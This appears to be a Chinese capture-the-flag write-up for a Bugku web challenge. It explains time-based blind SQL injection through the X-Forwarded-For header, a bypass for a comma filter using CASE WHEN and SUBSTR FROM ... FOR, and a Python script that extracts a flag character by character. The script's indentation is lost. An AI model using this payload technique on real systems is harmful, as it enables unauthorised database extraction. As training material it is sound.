bugku web——INSERT INTO注入
最爱的代码审计来
初步判断存在sql注入(请求头)
并且过滤了逗号
抓包试了一下,网页上没有回显点,所以是基于时间的盲注()
正常时间盲注用这种格式来完成 if(exp1,exp2,exp3)
但是代码中explode()函数已经将逗号过滤掉了
所以采用这种格式:case when exp1 then sleep(1) else end 来绕过逗号的过滤
exp1中字符串截取subtr1(str,1,1)又存在逗号,于是这里用substr (str) from 1 for 1
字段是flag,表名也是flag,至于为什么,网上大佬说是出题人和做题人的默契
写一个脚本:
import requests
url="http://123.206.87.240:8002/web15/"
flag=""
for i in range(1,33):
for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*.":
data="11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
# print data
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag += str1
print (flag)
break
print( 'flag:' + flag)
知识点补充:
remote_addr和x_forwarded_for
原文链接:https://www.cnblogs.com/kuracola/p/7482939.html
explode()函数
原文链接:https://www.w3school.com.cn/php/func_string_explode.asp
把字符串打散为数组